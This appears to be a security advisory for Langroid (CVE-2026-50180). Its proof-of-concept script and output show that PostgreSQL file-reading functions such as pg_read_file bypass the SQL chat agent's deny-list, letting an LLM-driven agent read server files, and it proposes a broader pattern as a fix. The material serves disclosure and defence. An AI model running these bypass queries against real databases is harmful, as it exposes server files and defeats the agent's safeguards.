Langroid CVE-2026-50180

# sql_chat_agent.py:113
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
    re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE),
    re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE),
    re.compile(r"\bpg_ls_dir\b", re.IGNORECASE),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
    re.compile(r"\battach\s+database\b", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\bopenrowset\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]

"""
PoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure
family pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /
pg_current_logfile.
"""

import os
import re
import sys
from typing import List, Optional

PKG = "/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid"
SRC = f"{PKG}/agent/special/sql/sql_chat_agent.py"
assert os.path.exists(SRC), f"Missing pinned langroid source: {SRC}"

import sqlglot
from sqlglot import expressions as sqlglot_exp


def load_patterns_from_pinned_source():
    """Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from
    the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the
    full agent stack (which needs an LLM config)."""
    with open(SRC) as f:
        source = f.read()
    block = re.search(
        r"_DANGEROUS_SQL_PATTERNS:[^=]*=\s*\[(.*?)\]\s*\n", source, re.DOTALL,
    )
    ns = {"re": re, "List": list}
    patterns = eval("[" + block.group(1) + "]", ns)
    allowed = eval(
        re.search(
            r"_DEFAULT_ALLOWED_STATEMENTS:\s*List\[str\]\s*=\s*(\[.*?\])",
            source, re.DOTALL,
        ).group(1)
    )
    return patterns, allowed


def validate_query(query, patterns, allowed_statements, dialect="postgres"):
    """Faithful reimplementation of SQLChatAgent._validate_query."""
    for pat in patterns:
        if pat.search(query):
            return f"Rejected by pattern {pat.pattern!r}"
    allowed = {t.strip().upper() for t in allowed_statements}
    try:
        statements = sqlglot.parse(query, read=dialect)
    except Exception as e:
        return f"Rejected: sqlglot parse failure: {e}"
    kind_map = {
        sqlglot_exp.Select: "SELECT", sqlglot_exp.Insert: "INSERT",
        sqlglot_exp.Update: "UPDATE", sqlglot_exp.Delete: "DELETE",
        sqlglot_exp.Merge: "MERGE", sqlglot_exp.Create: "CREATE",
        sqlglot_exp.Drop: "DROP", sqlglot_exp.Alter: "ALTER",
        sqlglot_exp.TruncateTable: "TRUNCATE", sqlglot_exp.Command: "COMMAND",
    }
    for stmt in statements:
        if stmt is None:
            continue
        kind = next(
            (v for k, v in kind_map.items() if isinstance(stmt, k)),
            type(stmt).__name__.upper(),
        )
        if kind not in allowed:
            return f"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}"
    return None


def main():
    patched_patterns, allowed_statements = load_patterns_from_pinned_source()
    print(f"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}")
    print(f"_DEFAULT_ALLOWED_STATEMENTS:   {allowed_statements}")

    import testing.postgresql
    from sqlalchemy import create_engine, text

    pg = testing.postgresql.Postgresql()
    db_uri = pg.url()
    engine = create_engine(db_uri)
    with engine.connect() as conn:
        pgdata = conn.execute(text("SHOW data_directory")).scalar()
    victim_rel = "langroid_bypass_victim.txt"
    victim_abs = os.path.join(pgdata, victim_rel)
    with open(victim_abs, "w") as f:
        f.write("PWNED_BY_LANGROID_VALIDATOR_BYPASS\n")
    print(f"=== Victim file at: {victim_abs}")

    bypass_payloads = [
        ("bypass.pg_read_file", f"SELECT pg_read_file('{victim_rel}')"),
        ("bypass.pg_stat_file", f"SELECT pg_stat_file('{victim_rel}')"),
        ("bypass.pg_ls_logdir", "SELECT pg_ls_logdir()"),
        ("bypass.pg_ls_waldir", "SELECT pg_ls_waldir()"),
        ("bypass.pg_current_logfile", "SELECT pg_current_logfile()"),
    ]

    for label, query in bypass_payloads:
        rej = validate_query(query, patched_patterns, allowed_statements, "postgres")
        verdict = "REJECTED" if rej is not None else "ALLOWED"
        print(f"  [{verdict}] {label}: {query}")
        if verdict == "ALLOWED":
            try:
                with engine.connect() as conn:
                    rows = conn.execute(text(query)).fetchall()
                preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]
                print(f"     -> live engine returned rows={len(rows)} preview={preview}")
            except Exception as e:
                print(f"     -> live engine error: {type(e).__name__}: {str(e)[:120]}")


if __name__ == "__main__":
    main()

# 1. Pin install the latest published release
python3.12 -m venv /tmp/poc-langroid-bypass/venv
source /tmp/poc-langroid-bypass/venv/bin/activate
pip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'
# 2. Drop poc.py from the Proof-of-concept section above into
#    /tmp/poc-langroid-bypass/poc.py and run it
python /tmp/poc-langroid-bypass/poc.py

_DANGEROUS_SQL_PATTERNS count: 17
_DEFAULT_ALLOWED_STATEMENTS:   ['SELECT']
=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test
=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt

PATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)
  [ALLOWED]  bypass.pg_read_file        SELECT pg_read_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_stat_file        SELECT pg_stat_file('langroid_bypass_victim.txt')
  [ALLOWED]  bypass.pg_ls_logdir        SELECT pg_ls_logdir()
  [ALLOWED]  bypass.pg_ls_waldir        SELECT pg_ls_waldir()
  [ALLOWED]  bypass.pg_current_logfile  SELECT pg_current_logfile()

LIVE EXECUTION OF BYPASS PAYLOADS (postgres only)
  [EXECUTED] bypass.pg_read_file        -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\n',)]
  [EXECUTED] bypass.pg_stat_file        -> rows=1 preview=[('(35,"2026-05-28 10:11:19+08","2026-05-28 10:11:19+08","2026-05-28 10:11:19+08",,',)]
  [EXECUTED] bypass.pg_ls_waldir        -> rows=1 preview=[('(000000010000000000000001,16777216,"2026-05-28 10:11:19+08")',)]
  [EXECUTED] bypass.pg_current_logfile  -> rows=1 preview=[('None',)]

NEGATIVE CONTROL - SUGGESTED FIX VALIDATOR
  [REJECTED] bypass.pg_read_file        -> OK
  [REJECTED] bypass.pg_stat_file        -> OK
  [REJECTED] bypass.pg_ls_logdir        -> OK
  [REJECTED] bypass.pg_ls_waldir        -> OK
  [REJECTED] bypass.pg_current_logfile  -> OK
  [REJECTED] already_blocked.copy_program        -> OK
  [REJECTED] already_blocked.pg_read_server_file -> OK
  [REJECTED] already_blocked.pg_read_binary_file -> OK
  [REJECTED] already_blocked.pg_ls_dir           -> OK

_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
# Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile
# family. Covers pg_read_file, pg_read_server_file(s),
# pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,
# pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,
# pg_current_logfile, plus any future siblings PostgreSQL adds.
    re.compile(
        r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(",
        re.IGNORECASE,
    ),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
# SQLite grammar: ATTACH [DATABASE] expr AS schema-name.
# The DATABASE keyword is optional; match either form.
    re.compile(r"\battach\b(\s+database)?\s+['\"\w]", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\b(openrowset|opendatasource)\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger|language|rule|event\s+trigger|foreign\s+table)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]